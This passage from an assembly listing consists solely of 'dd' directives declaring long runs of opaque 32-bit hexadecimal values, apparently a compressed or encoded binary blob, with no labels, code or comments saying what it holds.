		dd 0AEF40D55h, 279151C8h, 2AD1FAC9h, 0CB0D846Ah, 6AD3DA1Ah
		dd 9681E840h, 9ECFC0FEh, 82DF9182h, 10924988h, 0BE7007F1h
		dd 0ABF89E0h, 0A5F1F980h, 67288E10h, 98A0615Ah,	52FCEC55h
		dd 504BE865h, 0EFD9E0FFh, 81DD94B7h, 0BE8E31E1h, 47A42112h
		dd 4AC1220Fh, 0DFE4DD7Fh, 4B9D0EFh, 100C03B1h, 705E583Fh
		dd 561D7A7Eh, 91A5274Fh, 0B5F1B060h, 3006241Fh,	0ABB3FF17h
		dd 8536637Ah, 6214550Ch, 8C0F20E6h, 0FF5D0E4Eh,	0A2438D3Bh
		dd 86418DB3h, 1E06F057h, 4504EFBFh, 87A9A2BFh, 0FE61C0CFh
		dd 4A8F1FC1h, 0CACE1729h, 46B60924h, 0B07E274Fh, 0BE1CE81Dh
		dd 70979270h, 30B5F3C0h, 392018h, 3EE09CAh, 79938DA4h
		dd 2B4008h, 1D8294ACh, 8E298C01h, 0AD1A523Eh, 0F70688D8h
		dd 70A102ABh, 0DB074085h, 941A6ECDh, 0E622C681h, 4B050176h
		dd 510D8DAh, 2409813h, 9916CE21h, 4851A226h, 0F382C830h
		dd 81A38223h, 292CC6Fh,	8E0018C2h, 2862F01Dh, 0BF938C51h
		dd 897B5044h, 24C7943Eh, 25711264h, 87D07931h, 5B08E540h
		dd 104A48A6h, 21297B0h,	122AA5F0h, 22A9A97Dh, 2B8D97E1h
		dd 0C4207F12h, 0F027822Fh, 29434607h, 0A540F864h, 895C2C78h
		dd 0C2AF046Bh, 64181268h, 3143614h, 18129E46h, 990E63EBh
		dd 0A3098A4h, 0DBA4D806h, 2F935898h, 0C074C468h, 0AB9F92ACh
		dd 0FF589113h, 83C34486h, 0A234E43Fh, 0CD60D09Dh, 0E0CC0C32h
		dd 0F9680E31h, 1666C829h, 0A2767886h, 0C16D4095h, 0F5CC2748h
		dd 9669074h, 3710A468h,	0C1C00022h, 64E9364Eh, 84362D4Eh
		dd 0F313343Fh, 4CDCC2Bh, 0E35808C1h, 2F672776h,	0E6C63F73h
		dd 0D906BD97h, 8BE93055h, 0EDD20A39h, 6819ACEh,	461D02E2h
		dd 185C449Ah, 3B8F97Eh,	0CA257308h, 4896C011h, 0A25C9C4Bh
		dd 68A3B12Dh, 2187499h,	528A8915h, 2882C245h, 86242455h
		dd 42454552h, 24555528h, 19205282h, 0CFA998Fh, 0FC4CF00h
		dd 193C3EE6h, 0E62EC086h, 0A6626661h, 3661062Dh, 51461E04h
		dd 0E6303C60h, 0D0106E36h, 1F7E038Dh, 0D3C44A1h, 9D401335h
		dd 0A15C3B02h, 98CD4BCBh, 24A60BA4h, 0A3BC8409h, 0A81BC86h
		dd 1D8C1F44h, 45088EB4h, 860F82ACh, 29C219A8h, 86FA8304h
		dd 6CEC280Dh, 0D95E58B5h, 80611A08h, 84AC8F82h,	53159CCBh
		dd 8AF7BA4h, 0FEBD02A1h, 281A4D6h, 4598CFF0h, 405CE44Dh
		dd 72915903h, 7044BA49h, 0EBC63929h, 90D1B205h,	890A7318h
		dd 0E400BE31h, 0EB09210Bh, 0FBF8CC32h, 2356FB6h, 3BD87851h
		dd 36423018h, 1B0107A3h, 0CF4EB148h, 0D5574784h, 9307B60Dh
		dd 5E685647h, 37E83DDEh, 0B41D6460h, 6C02792Dh,	1FD84Fh
		dd 0BB05AF51h, 150462E1h, 0B04209A3h, 0C81DA0B4h, 0D2051CD0h
		dd 73FF1FD7h, 2FDC89B9h, 392E96Eh, 10107E0Ah, 0B611BBACh
		dd 0BB63A67Dh, 242F1218h, 0E9709308h, 50D642C1h, 0D94A40AAh
		dd 0A0186A0Ch, 7E0FE51Bh, 9C3BDEBEh, 0EFD8FA21h, 0D25DAC0Bh
		dd 9555F69h, 9517EB35h,	77F33E75h, 0F0C48D8Ch, 0F22B7232h
		dd 9E07E040h, 5177A07Ah, 20CA103Ch, 7A9D5D99h, 11546215h
		dd 3BC25B15h, 0E301A3E5h, 314FD26Eh, 0C1A531F6h, 0F46C5FDh
		dd 0F4597A2h, 52909C74h, 602E708Ch, 75FAB390h, 6F468521h
		dd 11BED7ABh, 78DB270Ch, 0DD8607BDh, 65F0F7FCh,	22840584h
		dd 0F05D9402h, 0A8309138h, 8C187886h, 0D98F30C9h, 0DF7FB37Fh
		dd 539F8110h, 15C2D7B1h, 2E7A0353h, 1CB07036h, 0DC315C6Dh
		dd 0A8CF1AF0h, 86624019h, 45305FECh, 66B81AB9h,	1B0B20FBh
		dd 3B9FCB41h, 0CDC10106h, 42ACB256h, 6494C403h,	4386D60Ch
		dd 33800825h, 6D0CC582h, 82347060h, 3CB6406h, 0AD73406h
		dd 80EEAFC6h, 0E2576D8Bh, 4307BFFFh, 30E1E81Fh,	6A59F069h
		dd 606E34B5h, 27EF7D09h, 0B099E8Ch, 14903156h, 0FFC39315h
		dd 616F1208h, 2F39E226h, 981D91Ah, 0F078B8DAh, 0FE455A95h
		dd 0B7F16051h, 35C2BFA8h, 0F8383BFFh, 5E382AB1h, 0C3C1FAB5h
		dd 93C1CA31h, 334BDF01h, 429B7791h, 9CB4D57Ah, 220CBD16h
		dd 0F1A955Dh, 92F90A58h, 844E2779h, 0C6836D3Ah,	2DA0E6BCh
		dd 7381ABBCh, 5BECB4C2h, 5799BA38h, 0E53CB093h,	567C3B21h
		dd 270DF07h, 5A2209AEh,	5E603331h, 0C014DA99h, 0DE1D808h
		dd 45720CACh, 0E8CEF204h, 0C17018Eh, 1964B9AFh,	0EE74E521h
		dd 840D051Fh, 0B89824FBh, 43DD70BBh, 0ACB5A653h, 871768D8h
		dd 0A4BFDC17h, 0A4FA8D9h, 0C7240BF8h, 0A83C50EEh, 2B4E975Ah
		dd 5457E4EDh, 0A014C92Dh, 646142D1h, 11C081DDh,	42D27353h
		dd 55D181B5h, 0FF6C65Eh, 9412422Eh, 1DE5B30h, 0D0AC3F62h
		dd 1480E416h, 8C4C700Ch, 7A2A7AC1h, 0F5DFD7AEh,	14EED2E3h
		dd 0DEFFC02Ch, 7587170Bh, 0DF84833Dh, 6E1C3080h, 0ED03A45Fh
		dd 0F68882EBh, 3103160Fh, 70180E57h, 802BCB0Dh,	68E1D632h
		dd 54E695B5h, 0AEDF1225h, 4B712371h, 0A88D8B86h, 65E959C0h
		dd 0DD7D105Fh, 1FA38DF3h, 0CE48028Dh, 3D8DFFh, 819BE0BFh
		dd 5120AA5Fh, 253CE896h, 1FF028FCh, 6A7C051Dh, 9F4C0978h
		dd 0FBFE0C2Eh, 6440DF66h, 0E63B2B66h, 7F3B2D80h, 9DFBE724h
		dd 63F36D2h, 5CA5EFD0h,	0C965C098h, 108A57F1h, 4D522553h
		dd 0E431A90Ch, 4E11189Fh, 8C1F3C5Fh, 18A296A4h,	3AD901D7h
		dd 0D750C86Eh, 0CA8A6A40h, 2C7F5B47h, 841F5AEBh, 0EF5CC28Ch
		dd 8D62FF03h, 82495420h, 8079B387h, 0ABD900E1h,	8CB6911Eh
		dd 0B133421h, 5559A2Dh,	863A0A15h, 838AE530h, 0B63BA41Ch
		dd 13FA625Ah, 0A1415003h, 702EFB8Bh, 0A35032C1h, 0D85D1F83h
		dd 52085073h, 0C6239433h, 2A0283Fh, 89AEA99Fh, 0E12C4890h
		dd 0D1DCA46Eh, 40CDCF39h, 0A79A8B1h, 786378A5h,	259455D3h
		dd 53556C63h, 0E80DC0ACh, 71E1B743h, 0A01F2A9Ah, 18DB622Ah
		dd 7BD8A6FEh, 7FD04628h, 1C4BF598h, 0D3536387h,	0F8BE0A8Bh
		dd 7B186879h, 0B234068h, 0DCCBF8EEh, 701F6CADh,	85759105h
		dd 0CB100290h, 0F34D3998h, 87939A30h, 703B18AFh, 1A99B044h
		dd 57D09BAAh, 50BCD518h
		dd 1C43D119h, 3FA08031h, 62BAD052h, 0BB54DD0Bh,	7DA37D62h
		dd 0C4FD02BAh, 0DC4880ECh, 0B6FE8C0Bh, 53B02614h, 5822189Eh
		dd 6C2D8144h, 0D93B398Bh, 31D40857h, 88042200h,	96D25F44h
		dd 33D417EFh, 315735F4h, 3B170947h, 66556204h, 2DEB66F1h
		dd 0C1F6CEC2h, 0E62E8485h, 0CCB07354h, 2332A721h, 0C1664CEEh
		dd 21EC260Fh, 73D2526Ah, 105B575Ch, 71254774h, 0B84D74Dh
		dd 0E2081C29h, 60175006h, 0A32ECC80h, 9211B207h, 0D7CD8978h
		dd 3AADBAC2h, 3368D26Bh, 5C8041DAh, 0C2AAE14Bh,	5D69E978h
		dd 78850B49h, 67F5A79Dh, 2BE22AEBh, 0C4AEDC22h,	7C9C69C6h
		dd 0A4123E9h, 4571BAB2h, 29D843C7h, 0DA735B5Fh,	0AC53D826h
		dd 59D4CC1h, 17E20179h,	0C63D221h, 0AD52C0FDh, 2445D929h
		dd 0F2341AAh, 46C4394Eh, 6197D349h, 3BA3CC40h, 0F0422203h
		dd 0B309C32Eh, 8F00DF0Bh, 0D4B30088h, 0B0BA84D6h, 5A38E63Ch
		dd 916A15Bh, 0BAD2944Ah, 5ECCA53Ah, 41281279h, 5B851BEFh
		dd 87ACFCE5h, 510C85A4h, 70A40F25h, 33C04C0Bh, 0A85A893Ch
		dd 8E609B10h, 0F41FBFD6h, 0B21082AAh, 191A034h,	9BA55603h
		dd 21229159h, 6CD2CE7Dh, 866C928Ch, 5801ED8Bh, 305FF12Ah
		dd 19245A40h, 0A1030DC1h, 0D1FA224Eh, 4A5505C1h, 0D7C3AEE0h
		dd 0D4A70093h, 6062B263h, 5019D14Eh, 0A8983678h, 1069C621h
		dd 0AA2C1BCCh, 22939972h, 856C7D15h, 0B11692F0h, 78C50480h
		dd 0D70AC737h, 6BBE0763h, 61A86026h, 5C32A580h,	566B214Bh
		dd 54CB35Bh, 430C463Ch,	4318A069h, 0F6C03137h, 808DA6E2h
		dd 0F3AA2CC6h, 0CACD4160h, 1C0EF7EAh, 0FE8E0B8Eh, 0E9B7F783h
		dd 9D304628h, 4A284238h, 0CA32A323h, 15B6E99Ah,	570E5400h
		dd 35590131h, 0D9C3074Fh, 35F11505h, 69C383EFh,	2E791502h
		dd 28781EDh, 0F0741461h, 23EC80EFh, 97717E80h, 5CC24BC8h
		dd 1F682EA2h, 0BE32AE1Ch, 58F1EC89h, 8CF14C6h, 15704980h
		dd 6F1512A8h, 0D852E077h, 1C4FD34h, 51D1116Bh, 21C8D6DCh
		dd 443C82DBh, 1679031Fh, 0CD77FE86h, 0D852C383h, 0CFFA611Ch
		dd 537011D3h, 0F44A45C1h, 85CAE074h, 0B6C011F1h, 257CC803h
		dd 963111BAh, 5A724B08h, 0AFC2CA2h, 7000AE1Ch, 23DC906h
		dd 855C6790h, 0F17B84BDh, 7D9C3815h, 3293A816h,	268B5810h
		dd 8A818BA2h, 0C4378F8Bh, 0A5FE7564h, 960F2003h, 9D9432BFh
		dd 0E7558D04h, 3FC0AF5Ch, 182E207Fh, 0F95C7B85h, 3C34B7Eh
		dd 95970492h, 180B60BCh, 302C066Dh, 1189707Fh, 70A26C33h
		dd 70706118h, 34DE0DC0h, 624F5032h, 0A52F58h, 0ECEF80F2h
		dd 8FBB2386h, 0D61B22AFh, 2DEC07DDh, 0B116A8Ch,	9011D06Dh
		dd 1885AD83h, 0D081027Dh, 598B287Ah, 0B7084EABh, 4C42C471h
		dd 0B3C8117Ch, 4108248h, 5189190Ah, 0F5E0348Bh,	1EC17AFDh
		dd 0AD289682h, 6688CE59h, 46D3020h, 2BE05009h, 1487D7EDh
		dd 0A2B0F47Fh, 0F147F485h, 0AD57875Eh, 172EA1C3h, 0C41587E1h
		dd 174CF4BEh, 0CD76DA1Ah, 65D6749Ch, 386E8A54h,	7F645208h
		dd 663B524Ah, 8BE40F91h, 2A01B698h, 4A81CB00h, 3BE329B5h
		dd 8B7C4225h, 0F8A4DCBCh, 0F306458Bh, 57FE732Bh, 12C9952Bh
		dd 5B59A652h, 868D11C4h, 2692BACEh, 8FCD885Ch, 43F8D8AEh
		dd 60367ABAh, 0E6B9F059h, 5DBFCA9Ah, 651C1FFFh,	0C0621AADh
		dd 83A83C48h, 1571A10Ah, 90E7D181h, 4A804886h, 8528DA89h
		dd 5548E02Eh, 0F26E03D2h, 0BCAFF4C2h, 11C2BDEAh, 472E86BCh
		dd 5EBDF101h, 85BBB2FFh, 959F8ADEh, 0B3BAA7C1h,	1E315C68h
		dd 55892120h, 143710B4h, 2BE7B467h, 32A683A4h, 3BB0DAA4h
		dd 0A3F8A79Fh, 713E962h, 390FDBBCh, 4D1C75FEh, 155C39C3h
		dd 829B86D8h, 0CC748794h, 80368F32h, 78A41506h,	281C49BAh
		dd 0B0185108h, 4FC84AC0h, 0C6124135h, 50B363EAh, 60275CF6h
		dd 0C7DE25E1h, 38D921Ah, 782F92B5h, 484F66EAh, 214A2617h
		dd 0CB151C29h, 5E2E7D94h, 0B580069Eh, 224790D2h, 0D4E4F84h
		dd 0EB17D915h, 0D1204032h, 20C80A52h, 0BD018382h, 9327086Eh
		dd 0A5F7A30Ch, 0DFC0D4CFh, 6ABE3310h, 0F314DF73h, 0CA6B8C5Eh
		dd 0FDFC7CDh, 7B897A11h, 6CC772D4h, 0EAEC953Eh,	0D1606742h
		dd 3E3815BCh, 90551612h, 345F56D2h, 0EA73F02Bh,	999F0ACAh
		dd 0E6CB4442h, 0C775B8DCh, 98FA89D8h, 9586089Dh, 0A4EF5C8Bh
		dd 64153108h, 0B84C9576h, 710209Eh, 24263F5Eh, 0C8033F8Eh
		dd 0E1241D3Dh, 0CA7D314Ah, 0A1E558FAh, 0FB70A338h, 0F74934h
		dd 8D276101h, 24F55D2Ch, 5209F198h, 17EBD341h, 0A20B854h
		dd 0D83FAC70h, 906325A7h, 6800C09h, 5DCD037Dh, 4B1504C0h
		dd 0ED2733F5h, 8A401882h, 0C28EFB16h, 347E5A3Ch, 0A700C9D7h
		dd 6ECC4445h, 0F72B181Fh, 2D186F93h, 54303E4h, 41802EBh
		dd 0E658F86Eh, 0FD852240h, 8587E3Eh, 3CC6ADC0h,	1626E016h
		dd 0A6623628h, 441870E9h, 3AEB802Ah, 6F400446h,	59CE1C05h
		dd 0AF997397h, 0D04B34A4h, 0E0D44C67h, 0FE5CBFAAh, 5912FE2Ah
		dd 8C8FA2EBh, 7819A22Eh, 5E73268Fh, 0D027AE82h,	99CE157Eh
		dd 8AA25448h, 0E7A87E02h, 0B224E12h, 3006ACEEh,	4136A9Eh
		dd 4497BE89h, 69841ECh,	852F25E6h, 0C691F224h, 7812101Ah
		dd 41F42289h, 1DF58C22h, 7B843100h, 28ABD155h, 91B74155h
		dd 0A1C2F738h, 0FBCE0991h, 8580CC5Eh, 5486444h,	0BCD0C771h
		dd 99C9D915h, 2EBEAC0Dh, 87695A31h, 0BFA30DF8h,	0F2FE4016h
		dd 0EA8C11AAh, 0A8C360A8h, 32B35BCEh, 0BADA33AAh, 20471A76h
		dd 0B131ABE4h, 0CE561DD0h, 55083012h, 1A194D57h, 1D7700CDh
		dd 9D1AA8A0h, 68D16BA6h, 290B2E6Ah, 6BFCD26Ch, 0D1008633h
		dd 0A889452Eh, 0A182297h, 9064A5F6h, 0C3513EB8h, 39DA08C3h
		dd 4560505Ch, 0E430CC79h, 0BCE1E380h, 0F4FB8D7Eh, 588282A5h
		dd 14E74681h, 0EBC2E442h, 1755E17Fh, 0ACF5043Eh, 2117C239h
		dd 9403C5Bh, 8C2DDC75h,	0FD6F59C9h, 6784CE07h, 18A2421h
		dd 0CA54798Eh, 0CD484981h, 835FAEB6h, 988E77Ch,	0FF9B9B94h
		dd 0C452E2AFh, 20A52AF9h, 19F9BECh, 40FBFA09h, 0FCF53125h
		dd 6D17E349h, 72B2D2E7h, 0E0B49729h, 771BAD1Fh,	5F0AC835h
		dd 62F30249h, 346BA153h, 95C4363Fh, 5A01A4D9h, 8F5C9BCAh
		dd 0CD1207Dh, 0ACDD62ACh, 81D8A049h, 0A19B2518h, 0A282621Ch
		dd 7A5A70A7h, 9D4C305Dh, 0D27B2ECFh, 0D0C3D088h, 600360E9h
		dd 1C714EDEh, 87E00D1Eh, 0F5F97095h, 6B59BE1Ch,	4A8343F7h
		dd 6CFD5224h, 0AA024DDFh, 27312896h, 1D73BEC3h,	0C00AE63Fh
		dd 423DDBEBh, 6E90F573h, 9A3C76ACh, 5DE4BAD5h, 0E9936D25h
		dd 0E4B3C721h, 992B451h, 0B08D58D6h, 91CB29E4h,	0A4B02643h
		dd 0B420C987h, 0ACABB7F8h, 0F23B053Fh, 60A38028h, 8A1D4318h
		dd 4C4438A8h, 0C31D2316h, 14C35E8Eh, 3C10EE56h,	0F186D83Eh
		dd 458668C6h, 860CA8D4h, 0C093C6F0h, 4357D1E9h,	21AFFDF8h
		dd 22A71202h, 6602E387h, 1E043ED6h, 0D6024E35h,	1134580h
		dd 0ACAE4C43h, 0BDAA6FECh, 0A18D0CAh, 83E710B9h, 7AFDBEFh
		dd 0DB35AB37h, 94CDE2A2h, 0E7940DF3h, 7C739123h, 120BF463h
		dd 4628AE65h, 75F2E084h, 0A5BC381h, 0C456A967h,	198AC418h
		dd 828750D7h, 9D5B815Ah, 9F8FE07Bh, 81E20A4Eh, 5F0683EEh
		dd 7483A993h, 1DA113B3h, 768B255h, 0B63C2B30h, 58122200h
		dd 9F811261h, 7636958Eh, 0C0488264h, 0C5F04089h, 0D158897h
		dd 4B12EBEDh, 3E1DE53Ah
		dd 85992B72h, 0BB636DEDh, 0AD531F4Ah, 6C6C85EAh, 0F8CC39D9h
		dd 0DB758A7Dh, 0F07D8D23h, 777A7583h, 7B4A3EBBh, 4AE9C921h
		dd 194B158Bh, 0D7D6251Ah, 0F1830405h, 0B05E1700h, 0D21AA877h
		dd 0F32381Dh, 0D7E6C108h, 56EBFA5Dh, 0B45E143h,	901DCC7Dh
		dd 23E14CC9h, 1E67D0FCh, 0B116812Dh, 0F419B83Bh, 0F415BEF6h
		dd 0E33102F3h, 1AF68C94h, 0C8A0C32h, 2C4662F2h,	0BC944596h
		dd 0F27462F3h, 0EBC6B128h, 5C633132h, 790A0E8Fh, 1C9103E2h
		dd 24CF80A6h, 6CBA1468h, 0A01A42Ah, 718202B1h, 18B143B0h
		dd 58A451F1h, 35940B61h, 19AB5140h, 0A76102ACh,	60707AA2h
		dd 405C7FE1h, 8AECAC05h, 638763Dh, 370D93DEh, 0DB5A9078h
		dd 0E4516CE2h, 140ACE86h, 4EEADAABh, 0C4129836h, 44FA300Ch
		dd 3524FE0h, 10C4E287h,	0E2412056h, 328DB1F6h, 52F115A9h
		dd 228D185Dh, 0D7A21B09h, 3239C736h, 0D8F592FBh, 7FDA4967h
		dd 76CAC354h, 88032CB0h, 0FE30863h, 66429537h, 3EECC726h
		dd 2D727102h, 0CB375D9Fh, 12F99079h, 546FFE69h,	4EA8E9B1h
		dd 0F04BF88Eh, 0E12FE5AEh, 4B2BA319h, 1BCCBF44h, 0E61A6A97h
		dd 908AE873h, 0D953338Dh, 668DB32Eh, 0C3776D78h, 76DA72Ch
		dd 3A39C717h, 211F7B4Eh, 990AB2F0h, 0F3E94A2Ch,	0B6E46BAh
		dd 42DAEC5Ah, 22164168h, 5CE248A3h, 33A78234h, 0BE0CA56Eh
		dd 15167AE9h, 0BA4C8473h, 19766B0Ch, 1668DB63h,	0E0D7246Dh
		dd 0B02A565Fh, 0A0FA72D5h, 56631A11h, 0B87B1330h, 3664CF99h
		dd 3341402Ah, 4F6E8CCBh, 0A6E57DD0h, 2D188252h,	0E246B668h
		dd 36C44446h, 4C088000h, 0A28455E0h, 0B8234C0Dh, 2CA6868Ch
		dd 0FF652CF3h, 0B2D20F93h, 5458A0A0h, 0A2853F1h, 3AE167F4h
		dd 2C5FF388h, 0B8918690h, 7AB31FF8h, 1635660Eh,	0BBC2373Fh
		dd 87E3D63Ah, 0FDC7CD41h, 58FD354Ah, 701555A3h,	0B6CB0813h
		dd 0C57D4932h, 0ACEF147Fh, 0BEC98938h, 5589BF5Eh, 0B7B6733h
		dd 89C4DAFDh, 63E51945h, 0C677852Ch, 0C5F06247h, 55A26D80h
		dd 8E0FFD76h, 0FDBC602h, 8C58E211h, 2C287216h, 5881D14Bh
		dd 5D844520h, 6500B029h, 1028D63Dh, 0E32AF0A1h,	0BA42684Ch
		dd 0A2B930E3h, 4CC2640Eh, 0BAE49A3h, 0FD9BD1A2h, 77C6DF86h
		dd 847236BAh, 66C8BAC1h, 0E8088BFCh, 0E0DA019Fh, 0A8EC05A2h
		dd 86D542CAh, 0D685A28Ch, 461535E8h, 0CE9EB10Ah, 3E2A8859h
		dd 0C75248h, 3D75C36Ah,	0F2B8080Ch, 86BC07A8h, 1F4F0D2Bh
		dd 268A0B3Dh, 0BE4A8A5h, 9F7F53B1h, 2B13DD7Eh, 5629838h
		dd 8DCAB644h, 95B103Eh,	8421D3Bh, 4E56BC20h, 1B0496ECh
		dd 109DCB7Dh, 0F7ED88A0h, 60CA4A19h, 306613ECh,	0AB0A9156h
		dd 881E2034h, 1046EC61h, 28608A25h, 0FD74563Ch,	5A2810F4h
		dd 86901620h, 5B8CAEB5h, 128CC620h, 11038B7Ch, 213A044Dh
		dd 1D287E66h, 34E2094h,	0E35765DAh, 0D72E6812h,	8E988739h
		dd 3D2DDC76h, 0DCA4BBFFh, 0D97901ACh, 36DA380Bh, 6391D5D6h
		dd 2040E0A9h, 0FC9B0754h, 166371DEh, 649DAE30h,	65A5C468h
		dd 0C530B851h, 0DD72206Ah, 0A61D2086h, 570A1C19h, 8A6609F4h
		dd 0FDB092CBh, 0BB88BEE8h, 140F5619h, 1F96812h,	73165C6Bh
		dd 65F497B3h, 0B77AE2Eh, 8363BAEBh, 1701489Ch, 0BC096910h
		dd 0E7BE5280h, 682DCF5h, 0D9C50E45h, 0BFDC54EDh, 0A7D0E3F2h
		dd 0ACC5EFFCh, 7B1155Eh, 89244005h, 43E3574Fh, 0A9AE9075h
		dd 0C4151882h, 0D73F85D8h, 4C9D2170h, 548781DBh, 183FFEEEh
		dd 9C65C0DDh, 0C6035A28h, 2B621EBEh, 4CB90689h,	0C1FB1868h
		dd 0EC7084E7h, 9F1191AAh, 232AD24h, 5E57F5CAh, 8AA92894h
		dd 0B088C360h, 0FDE5B040h, 0C1BD4618h, 136BCD77h, 32E2567Ah
		dd 969E0B75h, 0A79520B4h, 515F05CDh, 0AAD59E47h, 0BABD496Ch
		dd 0EB96B0BDh, 0B6ECD61Eh, 5C146A2Fh, 0ECFB368Ch, 2CF4A361h
		dd 0A2A02F60h, 0E096482Ch, 0F8732C3Fh, 0C80A7821h, 0CC59C455h
		dd 0CFAD561Ch, 8C0473FEh, 0FB287F09h, 95545562h, 35908C61h
		dd 62FFB138h, 4AB10682h, 0FF677EB9h, 0C50FA2CAh, 63B4F490h
		dd 56A0F948h, 0DE18B920h, 1A0C8C5Fh, 0F28EF81Dh, 0B1EF85D0h
		dd 82325832h, 3D71BC23h, 1CA9613Dh, 9584F610h, 7707B083h
		dd 6C25EBACh, 0AB2B3D56h, 3D9168A0h, 7489313Ch,	0F96D572h
		dd 0ADAD5BFDh, 0EAC8555Dh, 5D992C7Ch, 91690585h, 3CF4F197h
		dd 0A762632Eh, 0CC0F5C83h, 2EB2E9D0h, 5A568575h, 0EFB0E929h
		dd 0B4AC6914h, 4136C870h, 65A5CA89h, 0F7CC5A58h, 1EBA5C95h
		dd 21215F61h, 0A85A32EBh, 38EF669Bh, 9ADA9733h,	0E1AD5796h
		dd 0EE571B8Bh, 170B3237h, 96E2FA51h, 892D887Ah,	780A6FAFh
		dd 0C39A3354h, 5AA012BEh, 13A4413Eh, 0D073A52Dh, 2D3A3F7Ch
		dd 0DE4C33E3h, 4A5BA4B9h, 0B45F8629h, 454114D0h, 0FC87D8A8h
		dd 0E8B43667h, 4C97BE2Ch, 0F695F8E3h, 30E7F145h, 84348EBCh
		dd 0C9979D7Fh, 0C16E5D45h, 50E47BA0h, 0A9C0E04Ah, 0B28317E1h
		dd 311611DFh, 686A5902h, 3048535Ah, 0BEDA4051h,	2D40B25Eh
		dd 6BFB5C8h, 8CC64CC6h,	5056EA1Eh, 827DA947h, 5238BEFDh
		dd 2AA0AC19h, 0C6079051h, 8E47CAD1h, 0A7E21230h, 0A14E1250h
		dd 38E8A204h, 1431A441h, 0EB2735D5h, 0EA505BA3h, 697CD927h
		dd 88D1A73Bh, 289D51A3h, 0A7B3845Ah, 91F5104Eh,	0A24AA228h
		dd 0A4CD7ABEh, 0D781A287h, 83E4CC5Dh, 42FAA9A0h, 6974B333h
		dd 5522EBD1h, 8A87996Ah, 0F75A443Dh, 8F484EA1h,	2C2951Ah
		dd 0C7446400h, 0BD3A7179h, 0AE50F514h, 6A850252h, 539E0A67h
		dd 88A40CA8h, 1CE48AFFh, 8BD3B1E5h, 0F3CE3DC3h,	493B312Ah
		dd 0F0A574F7h, 4CC443C7h, 59625CA0h, 0C7AA0AFDh, 3980170h
		dd 2831695Eh, 2BE120Fh,	0FF0D18DFh, 0E262C7D9h,	0E1F341F9h
		dd 0D7CEE2C4h, 831E8E55h, 1C3211h, 0B029E31Eh, 0FC4088B4h
		dd 0D4EBD45h, 630B353Bh, 2FFD6D21h, 0DEF631B4h,	0E26CD2h
		dd 0D53618B2h, 2811F608h, 73784785h, 4F158C49h,	4E3BCBA4h
		dd 2F240AA1h, 738B263Ah, 2FB1E545h, 3CCF6Ch, 0B0125753h
		dd 6FD4710Ah, 0FAC71985h, 7B40FF10h, 3F8FF9CBh,	16E73F38h
		dd 2E71FD60h, 0AC0393E3h, 0E49440F8h, 9D341758h, 0E10607AEh
		dd 6C914247h, 0B4F6FCCEh, 62E89E23h, 1D8B33D7h,	63C44C6Dh
		dd 0EE31A4D9h, 671EF799h, 1CEBD82Ch, 0B917769h,	4D8EB28h
		dd 4F5E6DDCh, 18B2325Dh, 0E0E1582Eh, 0EA67C2DFh, 437C01DFh
		dd 1CD9F113h, 42D05393h, 0BB052FFFh, 59CECBB0h,	33708125h
		dd 228AAEB4h, 22B4C03Eh, 7C31387Dh, 2022D738h, 65517D52h
		dd 33D3C053h, 9445E5A7h, 4559AE60h, 0C398DB9Fh,	0A8562C9h
		dd 2290D7Ch, 0DC027DB1h, 1DB6899Eh, 0F1EC3711h,	0BA9E0534h
		dd 0AD8DA91Bh, 277FE51Ah, 4D75B8FFh, 62620B94h,	0A0934E18h
		dd 4B9C1FBh, 0D689B7BCh, 0A928FB6Bh, 248E8312h,	1A68452Bh
		dd 7B75CF01h, 0C7BB8E61h, 3B2FB307h, 0CB8F12C4h, 575CE75Ch
		dd 2C37DE31h, 0EBF6E1ACh, 8971A09h, 99AAAFA2h, 7EEFD862h
		dd 34D93338h, 0AB39EB22h, 4B4EEB04h, 1FAA5302h,	0B680825Eh
		dd 25FD221Fh, 25B6D071h, 0BA457077h, 76D6F9Eh, 856D96FDh
		dd 80938482h, 8F80D7B3h, 0EFB0A998h, 0C667824Eh, 0FC1B8BAFh
		dd 0F32ADBF5h, 59F1CC65h, 9CD745F6h, 3C67D323h,	0CA11B9BDh
		dd 63D91E7Eh, 0C8A25928h, 0AB29076Ah, 0E067BB06h, 63A310Ah
		dd 0DC770F17h, 9AD4FDACh, 8B85D4F5h, 0A1B1FC53h, 620790CDh
		dd 0DCC10145h, 0A291587h
		dd 2FA3FB2Bh, 7438C1DBh, 4B15E363h, 15A2699Fh, 62F9D43Dh
		dd 8A7A3217h, 0A0010D2Ah, 0EC22890Dh, 2C9CF04h,	0A0B307CAh
		dd 104E227h, 3458A57Eh,	97EDCFECh, 47140FF3h, 59D508B5h
		dd 0A25C34E9h, 1845DCC3h, 868F7B73h, 0A43783E2h, 6EF008A8h
		dd 0DC3F1A78h, 4D92B320h, 0C2C3780Bh, 0F1A4BA56h, 5C0AA0C5h
		dd 0E177422Bh, 5CE7D049h, 4203B134h, 3C55D8A7h,	5C0E7483h
		dd 0AC319D4Fh, 1DF0D50Ah, 0A1BB967h, 0ED736F36h, 40686DFEh
		dd 0B80C243h, 31903FB1h, 3730A0BCh, 0CE709C4Dh,	8F49AFB5h
		dd 20256B4Ah, 0C0728B63h, 724F97F6h, 9A716FA5h,	4E4F7003h
		dd 95CE5ABEh, 7710ED51h, 0E81A54D1h, 582248Ah, 0CB04C803h
		dd 0A8AD55EAh, 0B301D341h, 32BDCB32h, 60A15180h, 983A10D4h
		dd 19C2F84Fh, 898A99A0h, 83B3FAC0h, 8220E22Dh, 0B4B14100h
		dd 44930C1Dh, 0E84E74E8h, 40CCFCCFh, 493D8C18h,	4735B245h
		dd 4E52E560h, 5597255Ch, 908044FCh, 16FFE42Eh, 90B520F4h
		dd 9649EEE5h, 4AAC3B5Bh, 734A552Eh, 220305D8h, 59045794h
		dd 127D57BAh, 2C96318Eh, 648C2BFCh, 0BA06D0E1h,	0F4415254h
		dd 0C052988Bh, 4BB35FEEh, 0DF59646Ch, 0CD29444Ch, 7C1F6922h
		dd 0EF8604F9h, 985C414h, 6E8F3E66h, 0C8F5A04Dh,	0D8369941h
		dd 1C9AA8Ch, 1B6A3F6Ah,	235305D2h, 0E1698113h, 4A627178h
		dd 0E28EC553h, 862B09FAh, 0B939F986h, 0AFBDEC29h, 4E82BE94h
		dd 3C4C10Ah, 0E436A23Ah, 18C09590h, 17FB600Eh, 42629A86h
		dd 0B62AB6EAh, 6400FF5Ah, 3E7E3F47h, 632175EAh,	325487C8h
		dd 0D98181A8h, 0D64FDF82h, 144E0801h, 0C87ECE80h, 0C386ABEh
		dd 82F933B8h, 4BC50FDCh, 0A8411301h, 55C6FE1Ch,	1F8098A3h
		dd 0F020A68Ch, 0D7C0E35Dh, 24826138h, 41D73D63h, 1F8760CAh
